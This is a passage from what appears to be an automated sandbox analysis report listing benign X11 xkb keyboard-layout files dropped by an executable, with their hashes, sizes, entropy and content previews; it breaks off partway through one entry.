SHA-256:	CE8F3D08F46BABC31FA51E40F7264578B8CEF22389C8B71F1FDBD4F82889D3B9
SHA-512:	6794BE59C919755FC8BEFC2436DC063055F8295CF78BC2296BB89EE70BA6D870DB7EC308A6B740817B7D501000F0678E253E5A9B0991EEEFFCDCEB19064C14D6
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/am' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Armenian";.. key <TLDE> {.[ 0x100055d, 0x100055c.].};. key <LSGT> {.[ question, 0x100058a.].};. key <BKSL> {.[ guillemotright, guillemotleft]};.. key <AE01> {.[ 0x1000586, 0x1000556.].};. key <AE02> {.[ 0x1000571, 0x1000541.].};. key <AE03> {.[ 0x100058a, 0x1002014 ].};. key <AE04> {.[ comma, dollar.].};. key <AE05> {.[ 0x1000589, 0x1002026.] .};. key <AE06> {.[ 0x100055e, percent.].};. key <AE07> {.[ 0x1002024, 0x1000587.] .};. key <AE08> {.[ 0x100055b, 0x10002bc.] .};. key <AE09> {.[ parenright, parenleft ] .};. key <AE10> {.[ 0x1000585, 0x1000555.].};. key <AE11> {.[ 0x1000567, 0x1000537.].};. key <AE12> {.[ 0x1000572, 0x1000542.].};.. key <AD01> {.[ 0x1000573, 0x1000543.] };. key <AD02> {.[ 0x1000583, 0x1000553.].};. key <AD03> {.[ 0x1000562, 0x1000532.] };. key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\apl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	47207
Entropy (8bit):	4.656317668325169
Encrypted:	false
SSDEEP:	384:mAezcQg6TkXXX6nKLAZqa03o6rLnxl4tteB9k0lRIertYs3ee2n5yuQsUhFCGgJS:mLzwnz5LWtM3L352aqlJkH
MD5:	50063B046D05E556A4F6416420BEEF02
SHA1:	42D2B69EE81C91EC43E6057F8F49088C2CE87E1C
SHA-256:	CC35B26E9ED4B297CCD16E2922EA6C92ED68582795B4CD3CE2E19023F6195247
SHA-512:	3A1607B0E56CAD5C4717714380B415E31F00999AC6B70F529CD2C8D95789A7A1D3F740EADCABF95D6402AA11DCC1FEC524FEFF9A1E31CB350C7CF8FAEE6882E9
Malicious:	false
Preview:	// EXTRAS:.//.// APL Keyboard Layouts..// This file supports:.// -.The Sharp APL for Unix (SAX) layout.// -.The IBM APL2 layout.// -.The Manugistics APL*PLUS II (Version 5.1, 1993) keyboard layout.// -.The Dyalog APL layout - with additions for box drawing and commands..// Unicode APL table: http://aplwiki.com/UnicodeAplTable.// ...and another: http://publibfp.boulder.ibm.com/epubs/pdf/h2110611.pdf (appendix A).// Generic Unicode stuff: http://www.fileformat.info/info/unicode/category/index.htm..// Tim Nelson (this file's creator) says:..// This file doesn't deal with all the combining stuff -- I'm not an APL programmer,.// and am not quite sure what's needed here. However, it may be possible to get this.// working with dead keys and the like. Patches gratefully accepted. ..// Some of the shift-key assignments may differ from the APL tradition. If.// that's not considered acceptable, it should be possible to remap the .// shift keys. I have striven, however, to ensure that the use

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ara

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13854
Entropy (8bit):	4.281380454819676
Encrypted:	false
SSDEEP:	384:ci153hES98opNE6PgoauoOm3R882deWH2EglNgdCoO4:ci66JauoOm3RydFbL
MD5:	08448A52CEB9153EEF52EC66B4743F5A
SHA1:	50070D8AB35B9D85B58006B96305AB9F34067251
SHA-256:	BB1DD4318C874B549AA33969514573EBA2E36CE2FDC4C2D1FD69869C01355674
SHA-512:	28812C204614A83EB4A997084E07E44FD5006F02042B511EAABBCF961822C939CB93BB3E9B2F41EAAE6B0DB59B4D963A20FF64716CB386CCA9D96D22F9F713A0
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/ar' file..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Arabic";..// NOTES:.//.// there is also combined shadda diacritis in AltGr position of simple.// diacritics fatha, fathatan, damma, dammatan, kasra and kasratan.// should a third state be added to Group2 ?.//.. key <TLDE> { [ Arabic_thal, Arabic_shadda ].};. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, at ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, asciicircum ] };. key <AE07> { [ 7, ampersand ] };. key <AE08> { [ 8, asterisk ] };. key <AE09> { [ 9, parenright

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\at

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	567
Entropy (8bit):	4.769103138702506
Encrypted:	false
SSDEEP:	12:jbPnem6ka8VmFYucDJz160dJo8Ma8Au8Jz16Nvlna8jYuF+DJz160dUMa89uuv:XPTXEYn603o8WAn6DxjYTH60KW9R
MD5:	DDD7544B3679E47136D753C874CA21E8
SHA1:	DC608A8FE68732BDE3C4182C4BF19494C0BE95D3
SHA-256:	D349F494A3BDB77DD479327FBEC53FDF6A5FF7ABABA000C75BE0A62AD8D34AB1
SHA-512:	CAD7A19F867B34D4801130EA89A7C49B5B024C8EE96BBB3FFDB16D4FA790B7968E4C8392A55E63A8795893554403DAB5B93F01C2B0B4EA4C6DD9ACA35FFDF40A
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/de' file..default.xkb_symbols "basic" {.. include "de(basic)".. name[Group1]="German (Austria)";.};..partial alphanumeric_keys.xkb_symbols "nodeadkeys" {.. include "de(nodeadkeys)".. name[Group1]="German (Austria, eliminate dead keys)";.};..partial alphanumeric_keys .xkb_symbols "mac" {.. include "de(mac)".. name[Group1]= "German (Austria, Macintosh)";.};..partial alphanumeric_keys.xkb_symbols "sundeadkeys" {.. include "de(Sundeadkeys)".. name[Group1]="German (Austria, Sun dead keys)";.};..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\az

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3981
Entropy (8bit):	4.390448542580053
Encrypted:	false
SSDEEP:	48:os32FubdZY2aotY3wVAuJF5/QahjqG3zof2v+O5sIzFfi:os3zavWY3wV3Iahjq0zRv+O5LzFfi
MD5:	21950ABD3BFD46792B5097337000C813
SHA1:	433B925C974257FA82535FCBB4BDB5976FD1F625
SHA-256:	EDE20202FE06E328530F01B283517E87CC07E4D5F31E0E6B982816E83C19BA65
SHA-512:	3EB8D8F850CD3B420C85D695E26D169686F3E1210D19206EB89FC6FBD58349A40DD6B6CAE56E32DC277D3AA5882EC85E1D25A6C24E73FA7D10D93FDBE030908B
Malicious:	false
Preview:	// Symbols definition for a very simple Azerbaidjani keyboard layout..// 2001 - Pablo Saratxaga <pablo@mandrakesoft.com>..default partial alphanumeric_keys.xkb_symbols "latin" {.. include "us".. name[Group1]= "Azerbaijani";.. key <TLDE> { [ grave, asciitilde, dead_grave, dead_tilde ] };.. key <AE03> { [ 3, numbersign, U2166 ] };. key <AE06> { [ 6, colon, EuroSign, periodcentered ] };. key <AE07> { [ 7, question ] };.. key <AE08> { [ 8, asterisk, asciicircum, dead_circumflex ] };. key <AE11> { [ minus, underscore, hyphen, emdash ] };.. key <AD02> { [ udiaeresis, Udiaeresis ] };. key <AD04> { [ r, R, registered ] };. key <AD08> { [ i, Iabovedot ] };. key <AD11> { [ odiaeresis, Odiaeresis, bracketleft, braceleft ] };. key <AD12> { [ gbreve, Gbreve, bracketright, braceright ] };.. key <AC10> { [ idotless, I ] };. key <AC11> { [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ba

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	715
Entropy (8bit):	4.754490841604358
Encrypted:	false
SSDEEP:	12:aBz160dluDaFz16VMuFtQaAz16BKfMuFt+naMztz16VbuFtgWa+z16V7lBuFtVaj:aT60z36ad6BMMfz6NI6BlBn
MD5:	C0A0B77FAE2EFA14E60B72CE9C9EBE2D
SHA1:	7AD96A2AF6083E8B006D2560E1746F4E2552CEB9
SHA-256:	D6966D499D0ED12BC7C60D95318C33E0335C5D5B743B0994569C4375C361F982
SHA-512:	1AECBEB5E0301D4DFA8C9354A1B9CA3387A7EA0BBA1FE278CC095F3914397D0A53991BF3511CA9879EC5E8ED42C83AB998194A956C1C715BED20242485EAAA10
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Bosnian";.. include "rs(latin)".};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Bosnian (US keyboard with Bosnian letters)";.. include "rs(latinyz)".};...partial alphanumeric_keys .xkb_symbols "alternatequotes" {.. name[Group1]= "Bosnian (use guillemets for quotes)";.. include "rs(latinalternatequotes)".};..partial alphanumeric_keys .xkb_symbols "unicode" {.. name[Group1]= "Bosnian (use Bosnian digraphs)";.. include "rs(latinunicode)".};..partial alphanumeric_keys .xkb_symbols "unicodeus" {.. name[Group1]= "Bosnian (US keyboard with Bosnian digraphs)";.. include "rs(latinunicodeyz)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4293
Entropy (8bit):	5.191378832496239
Encrypted:	false
SSDEEP:	48:5HLAEQsZSAAQEWCD0YGTaMBy16G3lx1rKrN35GK8lWOn4z+TR1sMiyZ+hLMIDtUP:yEQOuQU4b5IcS1WnalnfTviyZ+hLtk
MD5:	A736D4D7DAD90FC345DA5E53BBBC1D57
SHA1:	1466A47D11188D6E2AA79372B07051BEBF65DD23
SHA-256:	4341088D2A68F27C1E4097B575C5AA68A45F31957D3C545FE88527535DDDFC5B
SHA-512:	8A9A8E9A4E1EA83FA6E50377298ED77DE0DE529001AE528F5DB864ACED7C5B4CACEF0E25379F4C8D9D673D70BFB4445B2BEB6D9578F6455AB2CDEEDCC67B52B1
Malicious:	false
Preview:	//.// XKB symbol :: National Bangla/Bengali Standard Keyboard Layout for Bangladesh.// Ref: http://www.bcc.net.bd/keyboard/bsti_kb_specification.pdf.//.// Author: Jamil Ahmed <jamil at bengalinux.org>.// Created: 18-12-2005.// Last Updated: 08-01-2006.// Version: 6.01.3.//.// Issues:.// <AC08> Khanda-Ta is given U-09CE; But BCC had U-09BA.// <AC07> U-09BB is added though it is not allocated in Original Unicode.// <AE06> U-09B3 is added though it is not allocated in Original Unicode.// 3 Conjunct characters are not included.//..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Bengali";. key <ESC> { [ Escape ] };..// numbers. key <TLDE> { [ grave,.asciitilde,.voidsymbol,.voidsymbol ] };. key <AE01> { [ 0x10009E7,.exclam,..0x10009F4,.voidsymbol ] };. key <AE02> { [ 0x10009E8,.at,..0x10009F5,.voidsymbol ] };. key <AE03> { [ 0x10009E9,.numbersign,.0x10009F6,.voidsymbol ] };. key <AE04> { [ 0x10009EA,.dollar,..0x10009F3,.0x10009F2 ] };. key <AE05> {

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\be

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12821
Entropy (8bit):	4.756161642886696
Encrypted:	false
SSDEEP:	384:WteCxGhXayxuzAmS5itDtJJlPS9PK0uWaaDqNpMbeSZeesn5:WEKyxdOtDtJJlQPK0OaDqNpMT85
MD5:	E27C9076B88D162B20DD2D5A089B98D7
SHA1:	135DF25BC1764C85DF6F4D18AC9A4413DD9DA591
SHA-256:	BD5A2518858551C056B12814B1183CBFB265A48687CAA12196E53437A34B56D1
SHA-512:	B20F2A6114B3C8157E2660DEB421801FB4FF3FDAF5B6A27B9CD351FA76E48ABACD25BADD91BFC2B4B83B3008F3EA958F8AAEC9B14DC3B6103B1E2A9A9C7A0211
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/be' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Belgian";.. key <AE01>.{ [ ampersand, 1, bar, exclamdown ].};. key <AE02>.{ [ eacute, 2, at, oneeighth ].};. key <AE03>.{ [ quotedbl, 3, numbersign, sterling ].};. key <AE04>.{ [apostrophe, 4, onequarter, dollar ].};. key <AE05>.{ [ parenleft, 5, onehalf, threeeighths ].};. key <AE06>.{ [ section, 6, asciicircum, fiveeighths ].};. key <AE07>.{ [ egrave, 7, braceleft, seveneighths ].};. key <AE08>.{ [ exclam, 8, bracketleft, trademark ].};. key <AE09>.{ [ ccedilla, 9, braceleft, plusminus ].};. key <AE10>.{ [ agrave, 0, braceright, degree ].};. key <AE11>.{ [parenright, degree, backslash, questiondown ].};. key <AE12>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bg

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16429
Entropy (8bit):	4.17066511887048
Encrypted:	false
SSDEEP:	384:8zTl9bIobTiC8NySjLRuznK2X8VV7N1//Yyjacv+l8HeDq:oUr
MD5:	DAF921720F69B8D0B8378CC7403D9DD0
SHA1:	1D564925642EB3E60ECC0D2DC77E22DE0377728C
SHA-256:	B4894118557DF874EB8BEB448466C6E6EEE75C3F9F194679DB16A391B24C9A24
SHA-512:	E8B26A89258870B31FD9EB83AFD6E7278DC741FD529494F46901E7A2F453FBDA5DD334CDB3CF0C5002DFDDA24253E93BD9FC7EF76757C1C589F9F92CF5AEEBE2
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////.// Copyright (C) 1999, 2000, 2007, 2009 by Anton Zinoviev <anton@lml.bas.bg>.//.// This software may be used, modified, copied, distributed, and sold,.// both in source and binary form provided that the above copyright.// notice and these terms are retained. The name of the author may not.// be used to endorse or promote products derived from this software.// without prior permission. THIS SOFTWARE IS PROVIDES "AS IS" AND.// ANY EXPRESS OR IMPLIED WARRANTIES ARE DISCLAIMED. IN NO EVENT.// SHALL THE AUTHOR BE LIABLE FOR ANY DAMAGES ARISING IN ANY WAY OUT.// OF THE USE OF THIS SOFTWARE..//.////////////////////////////////////////////////////////////////////////// .// Version 2.0..// The following variants are defined in this file:..// "bds" - the BDS keyboard layout compliant with the proposed.// Bulgarian state standard BDS 5237:2006..// "phonetic" - Bulgarian phonetic layout with traditional position o

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\br

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16728
Entropy (8bit):	3.9868530349697924
Encrypted:	false
SSDEEP:	384:+7caT6sscuaUavblc9PA3UfknMBjwEkQaJbc9PSArr7YIImCSkQBKczFi:+7cmHsKblxeZjOJbBa5IKKcz0
MD5:	3CC60A8003F97D71636EFFF72ACB12F6
SHA1:	A1BE903375B70E1AB49EB927D7D3E4227FC182DD
SHA-256:	20EFEF0316A4849B1867D8771D26CDE7095919D9BCEF07A797ACA302E96290D7
SHA-512:	426308F6FCE0D7C43091BDFAF5423C566483EA538487CBEEDB46D0F6F8FD1E2FD6F6459173612D619BB38471B857963A9C2DEBD295537C9BF74DDF95A6D8DAB6
Malicious:	false
Preview:	//.// based on .// "a very simple Brasilian ABNT2 keyboard.// by Ricardo Y. Igarashi (iga@that.com.br).// Adds suport for dead-keys in I18N applications.// by Conectiva (http://www.conectiva.com.br)".//..default.xkb_symbols "abnt2" {.. include "latin". name[Group1]="Portuguese (Brazil)";.. key <AE02>.{ [ 2, at, twosuperior, onehalf ].};. key <AE03>.{ [ 3, numbersign, threesuperior, threequarters ] };. key <AE04>.{ [ 4, dollar, sterling, onequarter ].};. key <AE05>.{ [ 5, percent, cent, threeeighths ].};. key <AE06>.{ [ 6, dead_diaeresis, notsign, diaeresis ].};. key <AE12>.{ [ equal, plus, section, dead_ogonek ].};.. key <AD01> { [ q, Q, slash, slash ] }; . key <AD02> { [ w, W, question, question ] }; . key <AD03>.{ [ e, E, EuroSign, EuroSign ].};. key <AD04>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\brai

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.891847427071727
Encrypted:	false
SSDEEP:	24:Lf5Ho5gT60MJrcNe/JV9y1smZ60Pr6JNee51G60O7K8HNeScf5myk6NmNe6pahj:Lf5H/MoIgtPo3CO7vU5myUQ
MD5:	D139C15E66D560F0E23B7F9F3D8B1A96
SHA1:	B7B75533E3AB5B12D2C1BEC7EDB694F8500F9044
SHA-256:	25D86F0127ECE49DB44940A23AC7F7B4EF55A28EE74ABB2B6F264FFA99C3E9B8
SHA-512:	7CA7CE8921F013AF96275F27D4078FB7BD5DFA794C21455BA3D89E7DED85D4500069838DD1DBDA81C5C13C332389D6973377803D5DA282E1033C816533883C5C
Malicious:	false
Preview:	// 10-dot patterns on the home row + v and n.default partial alphanumeric_keys.xkb_symbols "home_row" {. include "brai(keypad)".. name[Group1]="Braille";.. key <AC04>.{ [ braille_dot_1 ] };. key <AC03>.{ [ braille_dot_2 ] };. key <AC02>.{ [ braille_dot_3 ] };. key <AC07>.{ [ braille_dot_4 ] };. key <AC08>.{ [ braille_dot_5 ] };. key <AC09>.{ [ braille_dot_6 ] };. key <AC01>.{ [ braille_dot_7 ] };. key <AC10>.{ [ braille_dot_8 ] };. key <AB04>.{ [ braille_dot_9 ] };. key <AB06>.{ [ braille_dot_10 ] };.};..// 6-dot patterns for the left hand.partial alphanumeric_keys.xkb_symbols "left_hand" {. include "brai(keypad)".. name[Group1]="Braille (left hand)";.. key <AC03>.{ [ braille_dot_1 ] };. key <AC02>.{ [ braille_dot_2 ] };. key <AC01>.{ [ braille_dot_3 ] };. key <AC04>.{ [ braille_dot_4 ] };. key <AB05>.{ [ braille_dot_5 ] };. key <AB04>.{ [ braille_dot_6 ] };.};..// 6-dot patterns for the right hand.partial alphanumeric_keys.x

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4610
Entropy (8bit):	4.638531655739416
Encrypted:	false
SSDEEP:	48:n3YHfvzNxibE4SvKWB4hecQMsRnAaWsOfdjm0ir4HhXyhwzGz7c+VKnYs+O1EjEy:nIHfvzHl4CMsl3D0H5JGzgc+Ys0cOIY1
MD5:	7C15E162730CD85639A8628ECB653D0D
SHA1:	3BD651CB534A244D9B91053972B5AD77A2113788
SHA-256:	121F37714FE8EC75363C5EBAB5DE4D6326F54832978EF95602519BB093D72C4D
SHA-512:	A4965D3FAB488A5EDC01F3520046E76D9C78D65C5CC7322A6AF6C089CFA95BEB2C3FC9779392CAD6FAE50256E01ED8BBAF0EB38D88569065AB8D6BB16B187FD3
Malicious:	false
Preview:	//.// Dzongkha / Tibetan layout for Bhutanese keyboard.//./////////////////////////////////////////////////////////////////.//.// Based on the official layout for Dzongkha.// approved by the Department of Information Technology &.// Dzongkha Development Authority of the Government of Bhutan.//.// Copyright (C) 2004, Gregory Mokhin <mokhin@bog.msu.ru>.///////////////////////////////////////////////////////////////// .// Version 0.97 2004-01-09 Layout map provided by Chris Fynn.// Version 1.0 2004-07-29 Some correction by Pema Geyleg <pema_geyleg@druknet.bt>./////////////////////////////////////////////////////////////////..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Dzongkha";.. key <TLDE> { [ 0x1000F09, 0x1000F0A, 0x1000F6C, 0x1000F6D ].};. .// numbers e.a.. key <AE01> { [ 0x1000F21, 0x1000F04, 1, exclam ].};. key <AE02> { [ 0x1000F22, 0x1000F05, 2, at ].};. key <AE03> { [ 0x1000F23, 0x1

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bw

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.004660325438561
Encrypted:	false
SSDEEP:	24:aT60P7FbBpKE5pSFPVOdBwZJ0EOPWFvMVY:SP7DpnpoPV+WZJ0E+WZ
MD5:	5CFE7DF0B4A89E5DCBE6EC609DE7FDE8
SHA1:	11A2CFD137E0239A5CB1B3BE2D7B0A278DE1EDA1
SHA-256:	1334466C64B7D48B6F5C8607B6EC24922015C7779A3BC6DA914C787C019192B3
SHA-512:	C5AE6C6BC9DA23DB4C46E165C926283DCF4439364BF834752A48F9FD6E4AC1237AD217E87DFEF44DA680513F1C5E7C63CB58C7A482AF9FB75EEB7EB5142A12A3
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "tswana" {.. include "us".. name[Group1]= "Tswana";. . key <AC10> { [ semicolon,. colon, 0x01000324, 0x01000324 ] };.//COMBINING DIAERESIS BELOW.. key <AC11> { [apostrophe, quotedbl, 0x01000301, 0x01000308 ] };.//COMBINING ACUTE ACCENT, COMBINING DIAERESIS. key <TLDE> { [ grave, asciitilde, 0x01000300, 0x01000303 ] };.//COMBINING GRAVE ACCENT, COMBINING TILDE. key <AE06> { [ . 6, asciicircum, 0x01000302 . . ] };.//COMBINING CIRCUMFLEX ACCENT. key <AE08> { [. 8, asterisk, 0x01000307, 0x01000323 ] };.//COMBINING DOT ABOVE, COMBINING DOT BELOW. key <AE09> { [. 9, parenleft, 0x01000306. ] };.//COMBINING BREVE. key <AE10> { [. 0, parenright, 0x0100030c . ] };.//COMBINING CARON. key <AE11> { [ minus, underscore, 0x01000304, 0x01000331 ] };.//COMBINING MACRON,COMBINING MACRON BELOW . .. include "level3(ralt_switch)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\by

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	4.373357443694293
Encrypted:	false
SSDEEP:	24:yTTeB+BXaFT60VtVuwv23vCAf60rNqZ/B0kLanPPhCtwlMWZiqx9UoLcQvd60SoZ:8eQqxVObDrarksHwSj155Q4O
MD5:	A9291CD7D467A6E6F687DCB83FCFA8A2
SHA1:	F872B8200CA65F95BB2E1215D644515DAB86E816
SHA-256:	B5623E6570EAE3F2865B403EE7E49960B00D596507B94C99507EAD630484F279
SHA-512:	89D226CCE9AA6A058CA2C3773BE0F81553524AD2B613747803209AE3C72AE1E9238E0E1E8D453A7AE2183243C111967F880D15DA42B139800AF8EA2AD4E71BA9
Malicious:	false
Preview:	// based on.// belarusian standard keyboard .// Alexander Mikhailian <mikhailian@altern.org>.// Reworked to use winkeys by default and russian keymap as base by Paul Lubetsky <vegeek@gmail.com>.// Added third level with russian symbols.// See freedesktop.org bug #23604..default partial alphanumeric_keys.xkb_symbols "basic" {..include "ru(winkeys)"..name[Group1]= "Belarusian";...key.<AD09> {.[.Byelorussian_shortu,.Byelorussian_SHORTU.].};..key.<AD12> {.[.apostrophe,.apostrophe.].};..key.<AB05> {.[.Ukrainian_i,.Ukrainian_I.].};.};..partial alphanumeric_keys.xkb_symbols "legacy" {..include "by(basic)"..name[Group1]= "Belarusian (legacy)";....key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, asterisk ] };..key <AE05> { [ 5, colon ] };..key <AE06> { [ 6, comma ] };..key <AE07> { [ 7, period ]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ca

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21486
Entropy (8bit):	4.538558876073644
Encrypted:	false
SSDEEP:	384:ewoaVAICoasgxdK5oFCtpSZnTijv9z9bdDFgxaYvfnONHp3yW1:e9Z1npijFFdJgxvI3yW1
MD5:	C3962EAA61876A29C4C6CD98AA8E5C04
SHA1:	8AC7EDDE6989B08B48CC5769DB27A9C4886F0079
SHA-256:	A4F75DD6D3D89F9D8AFFC1FF7F977EE4C9DC51ABAC4B39A119A5D4D9AF6C380A
SHA-512:	3B77A01432E594FFBD75F36FACF5768F5919F3827311F8D227D1EA6203F1A914BD6951FE8FB7F93E08B09E92EDC01498B4C5DE34C5D235246FA3ECF8E3C319D8
Malicious:	false
Preview:	default partial.xkb_symbols "fr" {. name[Group1] = "French (Canada)";.. key <TLDE>.{ [ numbersign, bar, backslash ].};. key <AE01>.{ [ 1, exclam, plusminus ].};. key <AE02>.{ [ 2, quotedbl, at ].};. key <AE03>.{ [ 3, slash, sterling ].};. key <AE04>.{ [ 4, dollar, cent ].};. key <AE05>.{ [ 5, percent, currency ] .};. key <AE06>.{ [ 6, question, notsign ].};. key <AE07>.{ [ 7, ampersand, brokenbar ].};. key <AE08>.{ [ 8, asterisk, twosuperior ].};. key <AE09>.{ [ 9, parenleft, threesuperior ].};. key <AE10>.{ [ 0, parenright, onequarter ].};. key <AE11>.{ [ minus, underscore, onehalf ].};. key <AE12>.{ [ equal, plus, threequarters ].};.. key <AD01>.{ [ q, Q ].};. key <AD02>.{ [ w, W ].};. key <AD03>.{ [ e,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\capslock

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.904176896732283
Encrypted:	false
SSDEEP:	24:at2I0UyAI0FbeI0aX2RKOM/1d3FiLQLnftC3O8k16M0n0vM3og:O7lu6bjlCM9x4LQLfUIV0naM3og
MD5:	14C0A45EFBE83FF402B03E80A9DF82C3
SHA1:	CDE874ACF47BDA59F9F283571B406A3728759DAA
SHA-256:	FC98CD711C75F5CA9E4F5ADE410235EF7CD5F629687702CC38074F3DFA0D3018
SHA-512:	444FF6EEC6293CB848D113C2752EAA4498C24D6A3615CB05CABDC36D1C9B8775EB2BC4B3EB435DEF1CB10756E129E7D36FE9072036D6DE56FFCAA7B17CD2E556
Malicious:	false
Preview:	default partial hidden modifier_keys.xkb_symbols "capslock" {. replace key <CAPS> { [ Caps_Lock ] };. modifier_map Lock { Caps_Lock };.};..partial hidden modifier_keys.xkb_symbols "shiftlock" {. replace key <CAPS> { [ Shift_Lock ] };. modifier_map Shift { Shift_Lock };.};..partial hidden modifier_keys.xkb_symbols "grouplock" {. replace key <CAPS> { [ ISO_Next_Group, Caps_Lock ] };.};..partial hidden modifier_keys.xkb_symbols "swapescape" {. key <CAPS> { [ Escape ] };. key <ESC> { [ Caps_Lock ] };.};..partial hidden modifier_keys.xkb_symbols "groupshift" {. key <CAPS> {. type[Group1] = "PC_ALT_LEVEL2",. [ Mode_switch, Caps_Lock ]. };.};..partial hidden modifier_keys.xkb_symbols "escape" {. key <CAPS> { [ Escape ] };.};..partial hidden modifier_keys.xkb_symbols "backspace" {. key <CAPS> { [ BackSpace ] };.};..partial hidden modifier_keys.xkb_symbols "super" {. key <CAPS> { [ Super_L ] };. modifier_map Mod4 { <CAPS> };.};..partial hid

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4120
Entropy (8bit):	3.36797391105188
Encrypted:	false
SSDEEP:	48:lzVbJd9CsOs/+TbaJLH5Uhtlf+PXs5Ccdzxp1EI58UT+VrsvPaCC0EjZ7cDp2lxm:Zfd0Bs/+X6LH5UhPmK1BN4XNn4J
MD5:	1467FC11043470F110B96F1BCF2538E2
SHA1:	2F5A25A63D859FA329170C0FDB385101B3DBA4D7
SHA-256:	6589920A3805A187B7A473578D9D23959EDA250C9E76391AD07E245F4DF95E05
SHA-512:	369DE62CFC40C65F6AC206D36C093402FAC05EE4AFEC2D5E229BF9986DCD3ECD9297C4E5AD5887262E7A7A3CB1EF3327B62DE6D1180E990DBE3A3B3D2D188524
Malicious:	false
Preview:	// based on us_intl keyboard map file and a Sinhala keyboard map.// version 0.3..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "French (Democratic Republic of the Congo)";.. key.type[Group1] = "FOUR_LEVEL";.. // GRAVE, TILDE, COMBINING TILDE. key <TLDE> { [ grave, asciitilde, 0x01000303 ] };. key <AE01> { [ ampersand, 1, numbersign ] };. key <AE02> { [0x01000301, 2, at ] };. key <AE03> { [0x01000300, 3, guillemotleft ] };. key <AE04> { [ parenleft, 4, bracketleft ] };. key <AE05> { [ braceleft, 5, less ] };. key <AE06> { [ braceright, 6, greater ] };. key <AE07> { [parenright, 7, bracketright ] };. key <AE08> { [0x01000302, 8, guillemotright ] };. key <AE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ch

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8239
Entropy (8bit):	4.786608437756496
Encrypted:	false
SSDEEP:	192:gUwo0H+AtHFgfMGtwRufWtP1usMA/0d/uuZ53OhmdzYcV3otoCJuGc:g5o0H+AtHFgfMGtwkfWtP1uC/0ygdzYO
MD5:	EA3AE1E8F24EBA05111593E9CD8B2AEA
SHA1:	84E33E18921AA1DC6C58B7A92318546F9F948CE3
